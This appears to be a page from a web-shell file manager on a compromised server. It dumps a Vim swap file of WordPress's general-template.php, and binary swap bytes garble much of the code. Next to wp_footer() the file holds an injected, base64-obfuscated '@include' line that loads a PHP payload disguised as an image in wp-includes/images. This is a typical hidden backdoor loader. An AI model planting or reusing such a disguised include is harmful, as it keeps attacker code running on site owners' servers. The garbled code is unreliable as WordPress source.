HEX
Server: Apache
System: Linux vmi2050610.contaboserver.net 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
User: bredicio (1020)
PHP: 8.2.28
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/bredicio/public_html/wp-includes~/.general-template.php.swp
b0VIM 8.2�3�gx�7�brediciovmi2050610.contaboserver.net~bredicio/public_html/wp-includes/general-template.phputf-8
3210#"! Utp1tguc�p?V�f|kg��Nx� wG!u�"w3#x�$}"%f�&s'Fx(b�)C *dc+�,�F	-w�	.vB
/n�
0c&1g�2x��hv��e
p�
sb	h�
i=q��
��x)W�?�q7��x0��i(t�ad.t��������eb�����{Q �
u
D
�����~m;	�QL"!
�
�
�
�
�
�
�
N
>
;
9
8
4


�	�	�	Q	C	@	0		���*���ql73"���W�����c`_A@�������}TQ������4��[W	/**function get_sidebar( $name = null, $args = array() ) { */ * @return void|false Void on success, false if the template does not exist. *                          Default empty array. * @param array       $args Optional. Additional arguments passed to the sidebar template. * @param string|null $name The name of the specialized sidebar. Default null. * * @since 5.5.0 The `$args` parameter was added. * @since 5.5.0 A return value was added. * @since 1.5.0 * * "special". * For the parameter, if the file is called "sidebar-special.php" then specify * * specialized sidebar will be included. * Includes the sidebar template for a theme or if a name is specified then a * * Loads sidebar template./**}	}		return false;	if ( ! locate_template( $templates, true, true, $args ) ) {	$templates[] = 'footer.php';	}		$templates[] = "footer-{$name}.php";	if ( '' !== $name ) {	$name      = (string) $name;	$templates = array();	do_action( 'get_footer', $name, $args );	 */	 * @param array       $args Additional arguments passed to the footer template.	 * @param string|null $name Name of the specific footer file to use. Null for the default footer.	 *	 * @since 5.5.0 The `$args` parameter was added.	 * @since 2.8.0 The `$name` parameter was added.	 * @since 2.1.0	 *	 * Fires before the footer template file is loaded.	/**function get_footer( $name = null, $args = array() ) { */ * @return void|false Void on success, false if the template does not exist. *                          Default empty array. * @param array       $args Optional. Additional arguments passed to the footer template. * @param string|null $name The name of the specialized footer. Default null. * * @since 5.5.0 The `$args` parameter was added. * @since 5.5.0 A return value was added. * @since 1.5.0 * * "special". * For the parameter, if the file is called "footer-special.php" then specify * * specialized footer will be included. * Includes the footer template for a theme or if a name is specified then a * * Loads footer template./**}	}		return false;	if ( ! locate_template( $templates, true, true, $args ) ) {	$templates[] = 'header.php';	}		$templates[] = "header-{$name}.php";	if ( '' !== $name ) {	$name      = (string) $name;	$templates = array();	do_action( 'get_header', $name, $args );	 */	 * @param array       $args Additional arguments passed to the header template.	 * @param string|null $name Name of the specific header file to use. Null for the default header.	 *	 * @since 5.5.0 The `$args` parameter was added.	 * @since 2.8.0 The `$name` parameter was added.	 * @since 2.1.0	 *	 * Fires before the header template file is loaded.	/**function get_header( $name = null, $args = array() ) { */ * @return void|false Void on success, false if the template does not exist. *                          Default empty array. * @param array       $args Optional. Additional arguments passed to the header template. * @param string|null $name The name of the specialized header. Default null. * * @since 5.5.0 The `$args` parameter was added. * @since 5.5.0 A return value was added. * @since 1.5.0 * * "special". * For the parameter, if the file is called "header-special.php" then specify * * specialized header will be included. * Includes the header template for a theme or if a name is specified then a * * Loads header template./** */ * @subpackage Template * @package WordPress * * General template tags that can go anywhere in a template./**<?phpad����wtsU��}	return $settings;	}		$settings['nonce'] = wp_create_nonce( 'heartbeat-nonce' );	if ( is_user_logged_in() ) {	}		$settings['ajaxurl'] = admin_url( 'admin-ajax.php', 'relative' );	if ( ! is_admin() ) {function wp_heartbeat_settings( $settings ) {ad,d�������qn^ZE@�����������yu�
�
�
�
�
�
m
k
j
f
D
A
#
 


����������XUEB������>�
�
r
@
<
;


	
�	�	�	�	�	�	X	W	R						��vl'������RN=9����U=�������SP@=��~K�}B��de		/* translators: 1: Site name, 2: Separator (raquo), 3: Term name, 4: Taxonomy singular name. */		'tagtitle'      => __( '%1$s %2$s %3$s Tag Feed' ),		/* translators: 1: Site name, 2: Separator (raquo), 3: Tag name. */		'cattitle'      => __( '%1$s %2$s %3$s Category Feed' ),		/* translators: 1: Site name, 2: Separator (raquo), 3: Category name. */		'singletitle'   => __( '%1$s %2$s %3$s Comments Feed' ),		/* translators: 1: Site name, 2: Separator (raquo), 3: Post title. */		'separator'     => _x( '&raquo;', 'feed link' ),		/* translators: Separator between site name and feed type in feed links. */	$defaults = array(function feed_links_extra( $args = array() ) { */ * @param array $args Optional arguments. * * @since 2.8.0 * * Displays the links to the extra feeds such as category feeds./**}	}		);			esc_url( get_feed_link( 'comments_' . get_default_feed() ) )			esc_attr( sprintf( $args['comstitle'], get_bloginfo( 'name' ), $args['separator'] ) ),			feed_content_type(),			'<link rel="alternate" type="%s" title="%s" href="%s" />' . "\n",		printf(	if ( apply_filters( 'feed_links_show_comments_feed', true ) ) {	 */	 * @param bool $show Whether to display the comments feed link. Default true.	 *	 * @since 4.4.0	 *	 * Filters whether to display the comments feed link.	/**	}		);			esc_url( get_feed_link() )			esc_attr( sprintf( $args['feedtitle'], get_bloginfo( 'name' ), $args['separator'] ) ),			feed_content_type(),			'<link rel="alternate" type="%s" title="%s" href="%s" />' . "\n",		printf(	if ( apply_filters( 'feed_links_show_posts_feed', true ) ) {	 */	 * @param bool $show Whether to display the posts feed link. Default true.	 *	 * @since 4.4.0	 *	 * Filters whether to display the posts feed link.	/**	$args = apply_filters( 'feed_links_args', $args );	 */	 * @param array $args An array of feed links arguments.	 *	 * @since 6.7.0	 *	 * Filters the feed links arguments.	/**	$args = wp_parse_args( $args, $defaults );	);		'comstitle' => __( '%1$s %2$s Comments Feed' ),		/* translators: 1: Site title, 2: Separator (raquo). */		'feedtitle' => __( '%1$s %2$s Feed' ),		/* translators: 1: Site title, 2: Separator (raquo). */		'separator' => _x( '&raquo;', 'feed link' ),		/* translators: Separator between site name and feed type in feed links. */	$defaults = array(	}		return;	if ( ! current_theme_supports( 'automatic-feed-links' ) ) {function feed_links( $args = array() ) { */ * @param array $args Optional arguments. * * @since 2.8.0 * * Displays the links to the general feeds./**}	do_action( 'wp_body_open' );	 */	 * @since 5.2.0	 *	 * Triggered after the opening body tag.	/**function wp_body_open() { */ * @since 5.2.0 * * See {@see 'wp_body_open'}. * * Fires the wp_body_open action./**}	do_action( 'wp_footer' );	 */	 * @since 1.5.1	 *	 * Prints scripts or data before the closing body tag on the front end.	/**function wp_footer() {//@include base64_decode("L2hvbWUvYnJlZGljaW8vcHVibGljX2h0bWwvd3AtaW5jbHVkZXMvaW1hZ2VzL3dwc3Bpbi0xeC5naWY="); */ * @since 1.5.1 * * See {@see 'wp_footer'}. * * Fires the wp_footer action./**}	do_action( 'wp_head' );	 */	 * @since 1.5.0	 *	 * Prints scripts or data in the head tag on the front end.	/**function wp_head() { */ * @since 1.2.0 * * See {@see 'wp_head'}. * * Fires the wp_head action./**}	echo apply_filters( 'the_weekday_date', $the_weekday_date, $before, $after );ad�v��E��\*&%�
�
�
�
�
�
�
o
j
0
/



���WVP�s)�
�
�
,
&
�	�	O	:	 		����wv_GB>����[U�����rLGF
�������<8����pj������u\KDC
������KE��		$show_tag_feed = apply_filters( 'feed_links_extra_show_tag_feed', true );		 */		 * @param bool $show Whether to display the tag feed link. Default true.		 *		 * @since 6.1.0		 *		 * Filters whether to display the tag feed link.		/**	} elseif ( is_tag() ) {		}			}				$href = get_category_feed_link( $term->term_id );				);					$term->name					$args['separator'],					get_bloginfo( 'name' ),					$args['cattitle'],				$title = sprintf(			if ( $term ) {			$term = get_queried_object();		if ( $show_category_feed ) {		$show_category_feed = apply_filters( 'feed_links_extra_show_category_feed', true );		 */		 * @param bool $show Whether to display the category feed link. Default true.		 *		 * @since 6.1.0		 *		 * Filters whether to display the category feed link.		/**	} elseif ( is_category() ) {		}			$href = get_post_type_archive_feed_link( $post_type_obj->name );			);				$post_type_obj->labels->name				$args['separator'],				get_bloginfo( 'name' ),				$args['posttypetitle'],			$title = sprintf(			$post_type_obj = get_post_type_object( $post_type );			}				$post_type = reset( $post_type );			if ( is_array( $post_type ) ) {			$post_type = get_query_var( 'post_type' );		if ( $show_post_type_archive_feed ) {		$show_post_type_archive_feed = apply_filters( 'feed_links_extra_show_post_type_archive_feed', true );		 */		 * @param bool $show Whether to display the post type archive feed link. Default true.		 *		 * @since 6.1.0		 *		 * Filters whether to display the post type archive feed link.		/**	} elseif ( is_post_type_archive() ) {		}			}				$href = $feed_link;			if ( $feed_link ) {			$feed_link = get_post_comments_feed_link( $post->ID );			);				the_title_attribute( array( 'echo' => false ) )				$args['separator'],				get_bloginfo( 'name' ),				$args['singletitle'],			$title = sprintf(		if ( $show_post_comments_feed && ( comments_open() || pings_open() || $post->comment_count > 0 ) ) {		$show_post_comments_feed = apply_filters( 'feed_links_extra_show_post_comments_feed', $show_comments_feed );		 */		 *                                 the {@see 'feed_links_show_comments_feed'} filter result.		 * @param bool $show_comments_feed Whether to display the post comments feed link. Defaults to		 *		 * @since 6.1.0		 *		 * is accepted as a parameter.		 * (which controls the global comments feed). The result of that filter		 * in a way that is independent of {@see 'feed_links_show_comments_feed'}		 * This filter allows to enable or disable the feed link for a singular post		 *		 * Filters whether to display the post comments feed link.		/**		$show_comments_feed = apply_filters( 'feed_links_show_comments_feed', true );		/** This filter is documented in wp-includes/general-template.php */		$post = get_post( $id );		$id   = 0;	if ( is_singular() ) {	$args = apply_filters( 'feed_links_extra_args', $args );	 */	 * @param array $args An array of extra feed links arguments.	 *	 * @since 6.7.0	 *	 * Filters the extra feed links arguments.	/**	$args = wp_parse_args( $args, $defaults );	);		'posttypetitle' => __( '%1$s %2$s %3$s Feed' ),		/* translators: 1: Site name, 2: Separator (raquo), 3: Post type name. */		'searchtitle'   => __( '%1$s %2$s Search Results for &#8220;%3$s&#8221; Feed' ),		/* translators: 1: Site name, 2: Separator (raquo), 3: Search query. */		'authortitle'   => __( '%1$s %2$s Posts by %3$s Feed' ),		/* translators: 1: Site name, 2: Separator (raquo), 3: Author name. */		'taxtitle'      => __( '%1$s %2$s %3$s %4$s Feed' ),adF��������gN=65��������*$�
�
�
�
�
�
]
\
F
.

�����zuqUO���WV9�
�
�
�
n
h
g
8
4


�	�	�	�	b	\	
			�����kedA=:9
���{vsqpl&#�����m<8651���52������tp,%#"����njP
����	if ( empty( $icon_32 ) && is_customize_preview() ) {	$icon_32   = get_site_icon_url( 32 );	$meta_tags = array();	}		return;	if ( ! has_site_icon() && ! is_customize_preview() ) {function wp_site_icon() { */ * @link https://www.whatwg.org/specs/web-apps/current-work/multipage/links.html#rel-icon HTML5 specification link icon. * * @since 4.3.0 * * Displays site icon meta tags./**}	<?php	<meta name='referrer' content='strict-origin-when-cross-origin' />	?>function wp_strict_cross_origin_referrer() { */ * @since 5.7.0 * *     add_action( 'wp_head', 'wp_strict_cross_origin_referrer' ); * * Typical usage is as a {@see 'wp_head'} callback: * * the full URL as a referrer to other sites when cross-origin assets are loaded. * Outputs a referrer `strict-origin-when-cross-origin` meta tag that tells the browser not to send * * Displays a referrer `strict-origin-when-cross-origin` meta tag./**}	);		esc_url( site_url( 'xmlrpc.php?rsd', 'rpc' ) )		'<link rel="EditURI" type="application/rsd+xml" title="RSD" href="%s" />' . "\n",	printf(function rsd_link() { */ * @since 2.0.0 * @link http://archipelago.phrasewise.com/rsd * * Displays the link to the Really Simple Discovery service endpoint./**}	}		);			esc_url( $href )			esc_attr( $title ),			feed_content_type(),			'<link rel="alternate" type="%s" title="%s" href="%s" />' . "\n",		printf(	if ( isset( $title ) && isset( $href ) ) {	}		}			$href = get_search_feed_link();			);				get_search_query( false )				$args['separator'],				get_bloginfo( 'name' ),				$args['searchtitle'],			$title = sprintf(		if ( $show_search_feed ) {		$show_search_feed = apply_filters( 'feed_links_extra_show_search_feed', true );		 */		 * @param bool $show Whether to display the search results feed link. Default true.		 *		 * @since 6.1.0		 *		 * Filters whether to display the search results feed link.		/**	} elseif ( is_search() ) {		}			$href = get_author_feed_link( $author_id );			);				get_the_author_meta( 'display_name', $author_id )				$args['separator'],				get_bloginfo( 'name' ),				$args['authortitle'],			$title = sprintf(			$author_id = (int) get_query_var( 'author' );		if ( $show_author_feed ) {		$show_author_feed = apply_filters( 'feed_links_extra_show_author_feed', true );		 */		 * @param bool $show Whether to display the author feed link. Default true.		 *		 * @since 6.1.0		 *		 * Filters whether to display the author feed link.		/**	} elseif ( is_author() ) {		}			}				$href = get_term_feed_link( $term->term_id, $term->taxonomy );				);					$tax->labels->singular_name					$term->name,					$args['separator'],					get_bloginfo( 'name' ),					$args['taxtitle'],				$title = sprintf(				$tax = get_taxonomy( $term->taxonomy );			if ( $term ) {			$term = get_queried_object();		if ( $show_tax_feed ) {		$show_tax_feed = apply_filters( 'feed_links_extra_show_tax_feed', true );		 */		 * @param bool $show Whether to display the custom taxonomy feed link. Default true.		 *		 * @since 6.1.0		 *		 * Filters whether to display the custom taxonomy feed link.		/**	} elseif ( is_tax() ) {		}			}				$href = get_tag_feed_link( $term->term_id );				);					$term->name					$args['separator'],					get_bloginfo( 'name' ),					$args['tagtitle'],				$title = sprintf(			if ( $term ) {			$term = get_queried_object();		if ( $show_tag_feed ) {ad�p��{��zwP<�
�
�
�
5
2
1
,
������L"!�������ro*�
�
�
d
a
Q
M
.

�	�	�	�	�	�	\	B	A	;	����[V;���z'��$�g\U��WV0���������PO<.)(�����rqK<65��				if ( 'preconnect' === $relation_type && ! empty( $parsed['scheme'] ) ) {				}					continue;				if ( empty( $parsed['host'] ) ) {				$parsed = wp_parse_url( $url );			if ( in_array( $relation_type, array( 'preconnect', 'dns-prefetch' ), true ) ) {			}				continue;			if ( isset( $unique_urls[ $url ] ) ) {			}				continue;			if ( ! $url ) {			$url = esc_url( $url, array( 'http', 'https' ) );			}				}					continue;				} else {					$url  = $url['href'];					$atts = $url;				if ( isset( $url['href'] ) ) {			if ( is_array( $url ) ) {			$atts = array();		foreach ( $urls as $key => $url ) {		$urls = apply_filters( 'wp_resource_hints', $urls, $relation_type );		 */		 *                              'dns-prefetch', 'preconnect', 'prefetch', or 'prerender'.		 * @param string $relation_type The relation type the URLs are printed for. One of		 * }		 *     }		 *         @type string $type        Type of the resource (`text/html`, `text/css`, etc).		 *         @type float  $pr          Expected probability that the resource hint will be used.		 *         @type string $crossorigin Indicates the CORS policy of the specified resource.		 *                                   (`script`, `style`, `image`, `document`, etc).		 *         @type string $as          How the browser should treat the resource		 *         @type string $href        URL to include in resource hints. Required.		 *		 *         Array of resource attributes, or a URL string.		 *     @type array|string ...$0 {		 *		 *     Array of resources and their attributes, or URLs to print for resource hints.		 * @param array  $urls {		 *		 *              as its child elements.		 * @since 4.7.0 The `$urls` parameter accepts arrays of specific HTML attributes		 * @since 4.6.0		 *		 * Filters domains and URLs for resource hints of the given relation type.		/**		$unique_urls = array();	foreach ( $hints as $relation_type => $urls ) {	);		'prerender'    => array(),		'prefetch'     => array(),		'preconnect'   => array(),		'dns-prefetch' => wp_dependencies_unique_hosts(),	$hints = array(function wp_resource_hints() { */ * @since 4.6.0 * * These performance improving indicators work by using `<link rel"…">`. * * handshake (DNS, TCP, TLS) in the background. * in the background, to perform DNS lookups or to begin the connection * Gives hints to browsers to prefetch specific pages or render them * * and pre-connecting to websites. * Prints resource hints to browsers for pre-fetching, pre-rendering/**}	}		echo "$meta_tag\n";	foreach ( $meta_tags as $meta_tag ) {	$meta_tags = array_filter( $meta_tags );	$meta_tags = apply_filters( 'site_icon_meta_tags', $meta_tags );	 */	 * @param string[] $meta_tags Array of Site Icon meta tags.	 *	 * @since 4.3.0	 *	 * Filters the site icon meta tags, so plugins can add their own.	/**	}		$meta_tags[] = sprintf( '<meta name="msapplication-TileImage" content="%s" />', esc_url( $icon_270 ) );	if ( $icon_270 ) {	$icon_270 = get_site_icon_url( 270 );	}		$meta_tags[] = sprintf( '<link rel="apple-touch-icon" href="%s" />', esc_url( $icon_180 ) );	if ( $icon_180 ) {	$icon_180 = get_site_icon_url( 180 );	}		$meta_tags[] = sprintf( '<link rel="icon" href="%s" sizes="192x192" />', esc_url( $icon_192 ) );	if ( $icon_192 ) {	$icon_192 = get_site_icon_url( 192 );	}		$meta_tags[] = sprintf( '<link rel="icon" href="%s" sizes="32x32" />', esc_url( $icon_32 ) );	if ( $icon_32 ) {	}		$icon_32 = '/favicon.ico'; // Serve default favicon URL in customizer so element can be updated for preview.ad$s��mIC>=������z[�
�
�
�
�
�
v
u
S
:
-




����������5��S!�
�
}
I
F
6
2


�	�	�	�	�	`			���b�\��A�����BA	���wTGCB'����sE��ql,!
	}		}			continue;		} else {			$unique_resources[ $resource['imagesrcset'] ] = $attributes;			}				continue;			if ( isset( $unique_resources[ $resource['imagesrcset'] ] ) ) {		) {			( isset( $resource['imagesrcset'] ) || isset( $resource['imagesizes'] ) )		} elseif ( ( 'image' === $resource['as'] ) &&			// Media can use imagesrcset and not href.			$unique_resources[ $href ] = $attributes;			}				continue;			if ( isset( $unique_resources[ $href ] ) ) {			$href = $resource['href'];		if ( isset( $resource['href'] ) ) {		$attributes = $resource;		}			continue;		if ( ! is_array( $resource ) ) {	foreach ( $preload_resources as $resource ) {	// Parse the complete resource list and extract unique resources.	$unique_resources = array();	}		return;	if ( ! is_array( $preload_resources ) ) {	$preload_resources = apply_filters( 'wp_preload_resources', array() );	 */	 * }	 *     }	 *         @type string $fetchpriority Fetchpriority value for the resource.	 *         @type string $imagesrcset   Responsive image sources to the source set.	 *         @type string $imagesizes    Responsive source size to the source Set.	 *         @type string $media         Accepts media types or media queries. Allows responsive preloading.	 *         @type string $type          Type of the resource (`text/html`, `text/css`, etc).	 *         @type string $crossorigin   Indicates the CORS policy of the specified resource.	 *                                     (`script`, `style`, `image`, `document`, etc).	 *         @type string $as            How the browser should treat the resource	 *         @type string $href          URL to include in resource preloads. Required.	 *	 *         Array of resource attributes.	 *     @type array ...$0 {	 *	 *     Array of resources and their attributes, or URLs to print for resource preloads.	 * @param array  $preload_resources {	 *	 * @since 6.6.0 Added the `$fetchpriority` attribute.	 * @since 6.1.0	 *	 * Filters domains and URLs for resource preloads.	/**function wp_preload_resources() { */ * @since 6.1.0 * * @link https://web.dev/preload-responsive-images/ * @link https://developer.mozilla.org/en-US/docs/Web/HTML/Link_types/preload * * These performance improving indicators work by using `<link rel="preload">`. * * render-blocking ones, slowing down the render. * non-render-blocking elements, as then they would compete with the * likely to block the page's render. Preload directives should not be used for * need very soon, this ensures that they are available earlier and are less * Gives directive to browsers to preload specific resources that website will * * Prints resource preloads directives to browsers./**}	}		}			echo "<link $html />\n";			$html = trim( $html );			}				}					$html .= " $attr='$value'";				} else {					$html .= " $value";				if ( ! is_string( $attr ) ) {				$value = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );				}					continue;				) {					|| ( ! in_array( $attr, array( 'as', 'crossorigin', 'href', 'pr', 'rel', 'type' ), true ) && ! is_numeric( $attr ) )				if ( ! is_scalar( $value )			foreach ( $atts as $attr => $value ) {			$html = '';		foreach ( $unique_urls as $atts ) {		}			$unique_urls[ $url ] = $atts;			$atts['href'] = $url;			$atts['rel']  = $relation_type;			}				}					$url = '//' . $parsed['host'];					// Use protocol-relative URLs for dns-prefetch or if scheme is missing.				} else {					$url = $parsed['scheme'] . '://' . $parsed['host'];ad*�h����?�U�
�
�
�
�


����m�����HG�
�
�
�
�
�
�
k
h
f
e
a




�	i	f			�����o�����j2���og?940-,��liYV	��N���1-���zy���			if ( $is_safari ) {		if ( 'true' === get_user_option( 'rich_editing' ) || ! is_user_logged_in() ) { // Default to 'true' for logged out users.		$wp_rich_edit = false;	if ( ! isset( $wp_rich_edit ) ) {	global $wp_rich_edit, $is_gecko, $is_opera, $is_safari, $is_chrome, $is_IE, $is_edge;function user_can_richedit() { */ * @return bool True if the user can access the visual editor, false otherwise. * * @global bool $is_edge      Whether the browser is Microsoft Edge. * @global bool $is_IE        Whether the browser is Internet Explorer. * @global bool $is_chrome    Whether the browser is Chrome. * @global bool $is_safari    Whether the browser is Safari. * @global bool $is_opera     Whether the browser is Opera. * @global bool $is_gecko     Whether the browser is Gecko-based. * @global bool $wp_rich_edit Whether the user can access the visual editor. * * @since 2.0.0 * * Checks if the user can access the visual editor and that it's supported by the user's browser. * * Determines whether the user can access the visual editor./**}	return $unique_hosts;	}		}			}				}					$unique_hosts[] = $parsed['host'];				) {					&& ! in_array( $parsed['host'], $unique_hosts, true ) && $parsed['host'] !== $_SERVER['SERVER_NAME']				if ( ! empty( $parsed['host'] )				$parsed     = wp_parse_url( $dependency->src );				$dependency = $dependencies->registered[ $handle ];				/* @var _WP_Dependency $dependency */				}					continue;				if ( ! isset( $dependencies->registered[ $handle ] ) ) {			foreach ( $dependencies->queue as $handle ) {		if ( $dependencies instanceof WP_Dependencies && ! empty( $dependencies->queue ) ) {	foreach ( array( $wp_scripts, $wp_styles ) as $dependencies ) {	$unique_hosts = array();	global $wp_scripts, $wp_styles;function wp_dependencies_unique_hosts() { */ * @return string[] A list of unique hosts of enqueued scripts and styles. * * @global WP_Styles  $wp_styles  The WP_Styles object for printing styles. * @global WP_Scripts $wp_scripts The WP_Scripts object for printing scripts. * * @since 4.6.0 * * Retrieves a list of unique hosts of all enqueued scripts and styles./**}	}		printf( "<link rel='preload' %s />\n", $html );		$html = trim( $html );		}			}				$html .= " $resource_key='$resource_value'";			} else {				$html .= " $resource_value";			if ( ! is_string( $resource_key ) ) {			$resource_value = ( 'href' === $resource_key ) ? esc_url( $resource_value, array( 'http', 'https' ) ) : esc_attr( $resource_value );			}				continue;			) {				( ! isset( $unique_resource['as'] ) || ( 'image' !== $unique_resource['as'] ) || ! isset( $unique_resource['imagesrcset'] ) )			if ( ( 'imagesizes' === $resource_key ) &&			// imagesizes only usable when preloading image and imagesrcset present, ignore otherwise.			}				continue;			if ( ( 'imagesrcset' === $resource_key ) && ( ! isset( $unique_resource['as'] ) || ( 'image' !== $unique_resource['as'] ) ) ) {			// imagesrcset only usable when preloading image, ignore otherwise.			}				continue;			if ( ! in_array( $resource_key, $non_supported_attributes, true ) && ! is_numeric( $resource_key ) ) {			$non_supported_attributes = array( 'as', 'crossorigin', 'href', 'imagesrcset', 'imagesizes', 'type', 'media', 'fetchpriority' );			// Ignore non-supported attributes.			}				continue;			if ( ! is_scalar( $resource_value ) ) {		foreach ( $unique_resource as $resource_key => $resource_value ) {		$html = '';	foreach ( $unique_resources as $unique_resource ) {	// Build and output the HTML for each unique resource.ad6�ipW������D@/+�
�
�
�
�
�
[
X

������f)��roni0,�
�
y
w
v
r
\
Y
�	�	�	/	�|&������F��ea���~|{w52����yuV%�������yvfcG �������� *     @type string   $file       Filename to be edited. Extension is used to sniff the type. Can be supplied as alternative to `$type` param. *     @type string   $type       The MIME type of the file to be edited. * *     Args. * @param array $args { * * @see _WP_Editors::parse_settings() * @see wp_get_code_editor_settings(); * @see wp_enqueue_editor() * * @since 4.9.0 * * Enqueues assets needed by the code editor for the given settings./**}	_WP_Editors::enqueue_default_editor();	}		require ABSPATH . WPINC . '/class-wp-editor.php';	if ( ! class_exists( '_WP_Editors', false ) ) {function wp_enqueue_editor() { */ * @since 4.8.0 * @uses _WP_Editors * * See wp.editor.initialize() in wp-admin/js/editor.js for initialization options. * The editor can be initialized when needed after page load. * * Outputs the editor scripts, stylesheets, and default settings./**}	_WP_Editors::editor( $content, $editor_id, $settings );	}		require ABSPATH . WPINC . '/class-wp-editor.php';	if ( ! class_exists( '_WP_Editors', false ) ) {function wp_editor( $content, $editor_id, $settings = array() ) { */ * @param array  $settings  See _WP_Editors::parse_settings() for description. *                          Should not contain square brackets. * @param string $editor_id HTML ID attribute value for the textarea and TinyMCE. * @param string $content   Initial content for the editor. * * @since 3.3.0 * @see _WP_Editors::parse_settings() * @see _WP_Editors::editor() * * See https://core.trac.wordpress.org/ticket/19173 for more information. * containing TinyMCE: 'edit_page_form', 'edit_form_advanced' and 'dbx_post_sidebar'. * On the post edit screen several actions can be used to include additional editors * running wp_editor() inside of a meta box is not a good idea unless only Quicktags is used. * NOTE: Once initialized the TinyMCE editor cannot be safely moved in the DOM. For that reason * * _WP_Editors should not be used directly. See https://core.trac.wordpress.org/ticket/17144. * Using this function is the proper way to output all needed components for both TinyMCE and Quicktags. * * Renders an editor./**}	return apply_filters( 'wp_default_editor', $r );	 */	 * @param string $r Which editor should be displayed by default. Either 'tinymce', 'html', or 'test'.	 *	 * @since 2.5.0	 *	 * Filters which editor should be displayed by default.	/**	}		$r  = ( in_array( $ed, array( 'tinymce', 'html', 'test' ), true ) ) ? $ed : $r;		$ed = get_user_setting( 'editor', 'tinymce' );	if ( wp_get_current_user() ) { // Look for cookie.	$r = user_can_richedit() ? 'tinymce' : 'html'; // Defaults.function wp_default_editor() { */ * @return string Either 'tinymce', 'html', or 'test' * * @since 2.5.0 * * user. The 'html' setting is for the "Code" editor tab. * Works out which of the editors to display as the current editor for a * * Finds out which editor should be displayed by default./**}	return apply_filters( 'user_can_richedit', $wp_rich_edit );	 */	 * @param bool $wp_rich_edit Whether the user can access the visual editor.	 *	 * @since 2.1.0	 *	 * Filters whether the user can access the visual editor.	/**	}		}			}				$wp_rich_edit = true;			} elseif ( $is_gecko || $is_chrome || $is_edge || ( $is_opera && ! wp_is_mobile() ) ) {				$wp_rich_edit = str_contains( $_SERVER['HTTP_USER_AGENT'], 'Trident/7.0;' );			} elseif ( $is_IE ) {				$wp_rich_edit = ! wp_is_mobile() || ( preg_match( '!AppleWebKit/(\d+)!', $_SERVER['HTTP_USER_AGENT'], $match ) && (int) $match[1] >= 534 );ad�q�V��]X�
�
�
j
Z
W
V
#
"
�������P%�������q\D,�
�
�
�
�
�
^
9

�	�	�	�	�	f	I	&		���}qlhed�����~z83���������|dWT
{'��L����jV=!���yZ:��				'Ctrl-/'     => 'toggleComment',				'Ctrl-Space' => 'autocomplete',			'extraKeys'        => array(			'continueComments' => true,			'styleActiveLine'  => true,			'lineWrapping'     => true,			'lineNumbers'      => true,			'inputStyle'       => 'contenteditable',			'indentWithTabs'   => true,			'indentUnit'       => 4,		'codemirror' => array(	$settings = array(function wp_get_code_editor_settings( $args ) { */ * @return array|false Settings for the code editor. * } *     @type array    $htmlhint   HTMLHint rule overrides. *     @type array    $jshint     JSHint rule overrides. *     @type array    $csslint    CSSLint rule overrides. *     @type array    $codemirror Additional CodeMirror setting overrides. *     @type string   $plugin     Plugin being edited when on the plugin file editor. *     @type WP_Theme $theme      Theme being edited when on the theme file editor. *     @type string   $file       Filename to be edited. Extension is used to sniff the type. Can be supplied as alternative to `$type` param. *     @type string   $type       The MIME type of the file to be edited. * *     Args. * @param array $args { * * @see wp_enqueue_code_editor() * * @since 5.0.0 * * Generates and returns code editor settings./**}	return $settings;	do_action( 'wp_enqueue_code_editor', $settings );	 */	 * @param array $settings Settings for the enqueued code editor.	 *	 * @since 4.9.0	 *	 * Fires when scripts and styles are enqueued for the code editor.	/**	wp_add_inline_script( 'code-editor', sprintf( 'jQuery.extend( wp.codeEditor.defaultSettings, %s );', wp_json_encode( $settings ) ) );	}		}			}					break;					wp_enqueue_script( 'jsonlint' );					wp_enqueue_script( 'jshint' );				case 'application/typescript':				case 'text/typescript':				case 'application/ld+json':				case 'application/javascript':				case 'application/json':				case 'application/ecmascript':				case 'javascript':					break;					}						wp_enqueue_script( 'htmlhint-kses' );					if ( ! current_user_can( 'unfiltered_html' ) ) {					wp_enqueue_script( 'jshint' );					wp_enqueue_script( 'csslint' );					wp_enqueue_script( 'htmlhint' );				case 'text/x-php':				case 'application/x-httpd-php':				case 'php':				case 'text/html':				case 'htmlmixed':					break;					wp_enqueue_script( 'csslint' );				case 'text/x-less':				case 'text/x-scss':				case 'text/css':				case 'css':			switch ( $mode['name'] ) {		if ( ! empty( $settings['codemirror']['lint'] ) ) {		}			);				'name' => $mode,			$mode = array(		if ( is_string( $mode ) ) {		$mode = $settings['codemirror']['mode'];	if ( isset( $settings['codemirror']['mode'] ) ) {	wp_enqueue_style( 'code-editor' );	wp_enqueue_script( 'code-editor' );	}		return false;	if ( empty( $settings ) || empty( $settings['codemirror'] ) ) {	$settings = wp_get_code_editor_settings( $args );	}		return false;	if ( is_user_logged_in() && 'false' === wp_get_current_user()->syntax_highlighting ) {function wp_enqueue_code_editor( $args ) { */ * @return array|false Settings for the enqueued code editor, or false if the editor was not enqueued. * } *     @type array    $htmlhint   HTMLHint rule overrides. *     @type array    $jshint     JSHint rule overrides. *     @type array    $csslint    CSSLint rule overrides. *     @type array    $codemirror Additional CodeMirror setting overrides. *     @type string   $plugin     Plugin being edited when on the plugin file editor. *     @type WP_Theme $theme      Theme being edited when on the theme file editor.ad	M����ic����qI!�
�
�
�
H
1


�����ybG0������mTNI0	�
�
�
k
D

�	�	�	�	Y	T	P	O	B	!			�|b^��F3(#����zn^E9(�������ym^>2!�������w\P@.������xl[?3$�������vfML					$type = 'text/xml';				case 'xml':					break;					$type = 'application/svg+xml';				case 'svg':					break;					$type = 'text/x-sql';				case 'sql':					break;					$type = 'text/x-sh';				case 'bash':				case 'sh':					break;					$type = 'text/x-sass';				case 'sass':					break;					$type = 'text/x-scss';				case 'scss':					break;					$type = 'application/x-httpd-php';				case 'phps':				case 'php7':				case 'php5':				case 'php4':				case 'php3':				case 'phtml':				case 'php':					break;					$type = 'text/x-gfm';				case 'md':					break;					$type = 'text/x-less';				case 'less':					break;					$type = 'text/jsx';				case 'jsx':					break;					$type = 'application/json';				case 'json':					break;					$type = 'text/javascript';				case 'js':					break;					$type = 'message/http';				case 'http':					break;					$type = 'text/html';				case 'htm':				case 'html':					break;					$type = 'text/x-diff';				case 'patch':				case 'diff':					break;					$type = 'text/css';				case 'css':					break;					$type = 'text/nginx';				case 'conf':			switch ( $extension ) {		if ( empty( $type ) ) {		// Supply any types that are not matched by wp_get_mime_types().		